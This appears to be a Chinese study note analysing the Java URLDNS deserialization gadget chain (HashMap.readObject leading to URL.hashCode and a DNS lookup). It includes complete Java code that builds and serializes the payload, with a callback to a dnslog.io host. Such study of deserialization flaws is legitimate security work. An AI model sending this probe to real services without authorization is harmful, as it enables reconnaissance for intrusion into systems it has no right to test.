预备知识
Java反序列化会调用对应的readobject方法
比如我创建一个类test。序列化test类就会调用writeobject方法,反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法
链子分析
在HashMap中。存在readobject方法。最后会调用hash(key)
然后hash(key)又会调用key.hashCode方法
而URL类又存在一个hashCode方法
hashCode的参数就是this。当前URL对象
当hashCode属性不为-1时就直接return。就不会触发hashCode方法。也就不会触发接下来的DNS解析了
然后调用getHostAddress方法对传入的URL对象。进行解析
Payload:
package cn.itcast.demo;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://zifh6.l.dnslog.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
//获取URL的hashCode属性
f.setAccessible(true);
// 修改访问权限
f.set(url,123);
// 设置hashCode值为123,这里可以是任何不为-1的数字
map.put(url,"123");
//往HashMap中添加Key为URL对象
f.set(url,-1);
// 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
try{
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}